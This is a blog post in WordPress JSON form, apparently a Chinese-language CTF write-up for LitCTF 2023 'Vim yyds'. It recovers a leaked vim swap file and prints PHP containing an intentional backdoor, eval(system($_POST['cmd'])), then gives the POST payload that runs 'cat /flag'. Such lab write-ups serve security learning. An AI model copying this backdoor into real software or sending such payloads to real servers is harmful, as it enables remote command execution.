{"id":2040,"date":"2025-03-11T23:06:20","date_gmt":"2025-03-11T15:06:20","guid":{"rendered":"http:\/\/gzxingyu.cloud\/?p=2040"},"modified":"2025-03-11T23:06:21","modified_gmt":"2025-03-11T15:06:21","slug":"litctf-2023vim-yyds","status":"publish","type":"post","link":"http:\/\/gzxingyu.cloud\/index.php\/2025\/03\/11\/litctf-2023vim-yyds\/","title":{"rendered":"LitCTF 2023Vim yyds"},"content":{"rendered":"<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/03\/Pasted-image-20250311215215.png\" alt=\"Pasted image 20250311215215.png\"><\/p>\n<h1>\u4e00\u3001\u8bbf\u95ee\u7f51\u5740<\/h1>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/03\/Pasted-image-20250311223150.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/03\/Pasted-image-20250311223150.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20250311223150.png\"><\/div><br \/>\n\u6ca1\u6709\u5206\u6790\u4efb\u4f55\u4fe1\u606f\uff0c\u6839\u636e\u9898\u76ee\u63d0\u793a\u7684\u6e90\u7801\u6cc4\u9732\uff0c\u8fdb\u884c\u76ee\u5f55\u626b\u63cf<\/p>\n<h1>\u4e8c\u3001\u8fdb\u884c\u76ee\u5f55\u626b\u63cf<\/h1>\n<p>dirsearch\u76ee\u5f55\u626b\u63cf<br \/>\n<div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/03\/Pasted-image-20250311223505.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/03\/Pasted-image-20250311223505.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20250311223505.png\"><\/div><br \/>\n\u5728\u7ed3\u679c\u4e2d\u53d1\u73b0\u4e00\u4e2a\u00a0<code>.index.php.swp<\/code>\u00a0\u6587\u4ef6\u3002<br \/>\n\u76f4\u63a5\u8bbf\u95ee\u8be5\u6587\u4ef6\u5c06\u5176\u4e0b\u8f7d\u4e0b\u6765\u3002<\/p>\n<h1>\u4e09\u3001\u5173\u4e8e .swp \u6587\u4ef6<\/h1>\n<p>.swp \u6587\u4ef6\u4e00\u822c\u662f\u00a0vim \u7f16\u8f91\u5668\u5728\u7f16\u8f91\u6587\u4ef6\u65f6\u4ea7\u751f\u7684\uff0c\u5f53\u7528 vim \u7f16\u8f91\u5668\u7f16\u8f91\u6587\u4ef6\u65f6\u5c31\u4f1a\u4ea7\u751f\uff0c\u6b63\u5e38\u9000\u51fa\u65f6 .swp \u6587\u4ef6\u88ab\u5220\u9664\uff0c\u4f46\u662f\u5982\u679c\u76f4\u63a5\u53c9\u6389\uff08\u975e\u6b63\u5e38\u9000\u51fa\uff09\uff0c\u90a3\u4e48 .swp \u6587\u4ef6\u5c31\u4f1a\u88ab\u4fdd\u7559\u3002<\/p>\n<h1>\u56db\u3001\u4f7f\u7528 vim \u7f16\u8f91\u5668\u6062\u590d .swp \u4ea4\u6362\u6587\u4ef6<\/h1>\n<pre><code>vim -r\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/03\/Pasted-image-20250311224653.png\" alt=\"Pasted image 20250311224653.png\"><\/p>\n<p>\u56e0\u4e3a\u8be5\u6587\u4ef6\u4e2d\u7684\u4fe1\u606f\u663e\u793a\u539f\u6587\u4ef6\u662f\u5728\u00a0<code>\/d\/CTF\/LitCTF\/vim\/index.php<\/code>\u00a0\u76ee\u5f55\u4e0b\uff0c\u4e3a\u4e86\u8fdb\u884c\u540e\u9762\u7684\u64cd\u4f5c\uff0c\u6211\u4eec\u5148\u521b\u5efa\u4e00\u4e2a\u00a0<code>\/d\/CTF\/LitCTF\/vim\/index.php<\/code>\u00a0\u76ee\u5f55<\/p>\n<h1>\u4e94\u3001\u521b\u5efa\u76ee\u5f55<\/h1>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/03\/Pasted-image-20250311224747.png\" alt=\"Pasted image 20250311224747.png\"><\/p>\n<h1>\u516d\u3001\u6062\u590d\u4ea4\u6362\u6587\u4ef6<\/h1>\n<pre><code>vim -r index.php.swp\n<\/code><\/pre>\n<p><div class='fancybox-wrapper lazyload-container-unload' data-fancybox='post-images' href='http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/03\/Pasted-image-20250311224853.png'><img class=\"lazyload lazyload-style-1\" src=\"data:image\/svg+xml;base64,PCEtLUFyZ29uTG9hZGluZy0tPgo8c3ZnIHdpZHRoPSIxIiBoZWlnaHQ9IjEiIHhtbG5zPSJodHRwOi8vd3d3LnczLm9yZy8yMDAwL3N2ZyIgc3Ryb2tlPSIjZmZmZmZmMDAiPjxnPjwvZz4KPC9zdmc+\"  decoding=\"async\" data-original=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/03\/Pasted-image-20250311224853.png\" src=\"data:image\/png;base64,iVBORw0KGgoAAAANSUhEUgAAAAEAAAABCAYAAAAfFcSJAAAAAXNSR0IArs4c6QAAAARnQU1BAACxjwv8YQUAAAAJcEhZcwAADsQAAA7EAZUrDhsAAAANSURBVBhXYzh8+PB\/AAffA0nNPuCLAAAAAElFTkSuQmCC\" alt=\"Pasted image 20250311224853.png\"><\/div><br \/>\n\u7136\u540e\u952e\u5165<\/p>\n<pre><code>:wq\n<\/code><\/pre>\n<h1>\u4e03\u3001\u8bbf\u95ee\u6587\u4ef6<\/h1>\n<pre><code>cat index.php\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/03\/Pasted-image-20250311224944.png\" alt=\"Pasted image 20250311224944.png\"><\/p>\n<pre><code class=\"language-html\">&lt;html&gt;\n\n&lt;head&gt;\n    &lt;meta charset=&quot;UTF-8&quot;&gt;\n    &lt;style type=&quot;text\/css&quot;&gt;\n        body,\n        html {\n            display: flex;\n            align-items: center;\n            justify-content: center;\n        }\n\n        div.vim {\n            display: flex;\n            align-content: center;\n            vertical-align: middle;\n            justify-content: center;\n        }\n\n        img {\n            border: none;\n            width: 8rem;\n            height: auto;\n        }\n\n        h1.vim_yyds {\n            color: #50f728;\n            display: flex;\n            align-items: flex-start;\n            justify-content: center;\n            margin-top: 50;\n            margin-left: 5px;\n        }\n\n        h3.vim_said {\n            color: #39c2ff;\n            display: flex;\n            justify-content: center;\n            align-items: center;\n        }\n\n        br,\n        p {\n            font-size: 20;\n        }\n    &lt;\/style&gt;\n&lt;\/head&gt;\n\n&lt;body&gt;\n    &lt;main&gt;\n        &lt;div class=&quot;vim&quot;&gt;\n            &lt;img src=&quot;https:\/\/www.bing.com\/th?id=OSAAS.7B95FA2D97CE022F5E7949F60E350A25&amp;pid=TechQna&quot;&gt;&lt;\/img&gt;\n            &lt;h1 class=&quot;vim_yyds&quot;&gt;\n                Vim yyds\n            &lt;\/h1&gt;\n        &lt;\/div&gt;\n        &lt;h3 class=&quot;vim_said&quot;&gt;\n            \u961f\u91cc\u5e08\u5085\u8bf4Vim\u662f\u4e16\u754c\u4e0a\u6700\u597d\u7684\u7f16\u8f91\u5668\uff0c\u4e0d\u63a5\u53d7\u53cd\u9a73\n        &lt;\/h3&gt;\n        &lt;div class=&quot;can_can_vim&quot;&gt;\n            &lt;?php\n            error_reporting(0);\n            $password = &quot;Give_Me_Your_Flag&quot;;\n            echo &quot;&lt;p&gt;can can need Vim &lt;\/p&gt;&quot;;\n            if ($_POST['password'] === base64_encode($password)) {\n                echo &quot;&lt;p&gt;Oh You got my password!&lt;\/p&gt;&quot;;\n                eval(system($_POST['cmd']));\n            }\n            ?&gt;\n        &lt;\/div&gt;\n    &lt;\/main&gt;\n&lt;\/body&gt;\n<\/code><\/pre>\n<h1>\u516b\u3001\u5206\u6790\u4ee3\u7801<\/h1>\n<pre><code class=\"language-php\">  &lt;?php\n            error_reporting(0);\n            $password = &quot;Give_Me_Your_Flag&quot;;\n            echo &quot;&lt;p&gt;can can need Vim &lt;\/p&gt;&quot;;\n            if ($_POST['password'] === base64_encode($password)) {\n                echo &quot;&lt;p&gt;Oh You got my password!&lt;\/p&gt;&quot;;\n                eval(system($_POST['cmd']));\n            }\n            ?&gt;\n<\/code><\/pre>\n<p>\u53ea\u9700\u8981 POST \u4f20\u53c2 password \u7b49\u4e8e\u5b57\u7b26\u4e32 \u201cGive_Me_Your_Flag\u201d\u00a0base64\u00a0\u52a0\u5bc6\u540e\u7684\u503c\u5373\u53ef<br \/>\n\u5728\u8fdb\u884c\u4ee3\u7801\u6267\u884c<\/p>\n<h1>\u4e5d\u3001\u83b7\u53d6flag<\/h1>\n<p>\u4f7f\u7528post\u8bf7\u6c42<\/p>\n<pre><code>password=R2l2ZV9NZV9Zb3VyX0ZsYWc=&amp;cmd=cat \/flag\n<\/code><\/pre>\n<p><img decoding=\"async\" src=\"http:\/\/gzxingyu.cloud\/wp-content\/uploads\/2025\/03\/Pasted-image-20250311230158.png\" alt=\"Pasted image 20250311230158.png\"><\/p>\n<h1>\u5341\u3001\u603b\u7ed3<\/h1>\n<ul>\n<li>vim\u6cc4\u9732\u7684.swp\u6587\u4ef6<\/li>\n<li>\u76ee\u5f55\u626b\u63cf<\/li>\n<li>\u4f7f\u7528vim\u8fdb\u884c\u6587\u4ef6\u6062\u590d<\/li>\n<\/ul>\n","protected":false},"excerpt":{"rendered":"<p>\u4e00\u3001\u8bbf\u95ee\u7f51\u5740 \u6ca1\u6709\u5206\u6790\u4efb\u4f55\u4fe1\u606f\uff0c\u6839\u636e\u9898\u76ee\u63d0\u793a\u7684\u6e90\u7801\u6cc4\u9732\uff0c\u8fdb\u884c\u76ee\u5f55\u626b\u63cf \u4e8c\u3001\u8fdb\u884c\u76ee\u5f55\u626b\u63cf dirsearch\u76ee\u5f55 [&hellip;]<\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"open","ping_status":"open","sticky":false,"template":"","format":"standard","meta":{"footnotes":""},"categories":[8,22,23],"tags":[26,44],"class_list":["post-2040","post","type-post","status-publish","format-standard","hentry","category-ctf","category-ctf-web","category-nssctf","tag-rce","tag-44"],"_links":{"self":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2040","targetHints":{"allow":["GET"]}}],"collection":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts"}],"about":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/comments?post=2040"}],"version-history":[{"count":1,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2040\/revisions"}],"predecessor-version":[{"id":2041,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/posts\/2040\/revisions\/2041"}],"wp:attachment":[{"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/media?parent=2040"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/categories?post=2040"},{"taxonomy":"post_tag","embeddable":true,"href":"http:\/\/gzxingyu.cloud\/index.php\/wp-json\/wp\/v2\/tags?post=2040"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}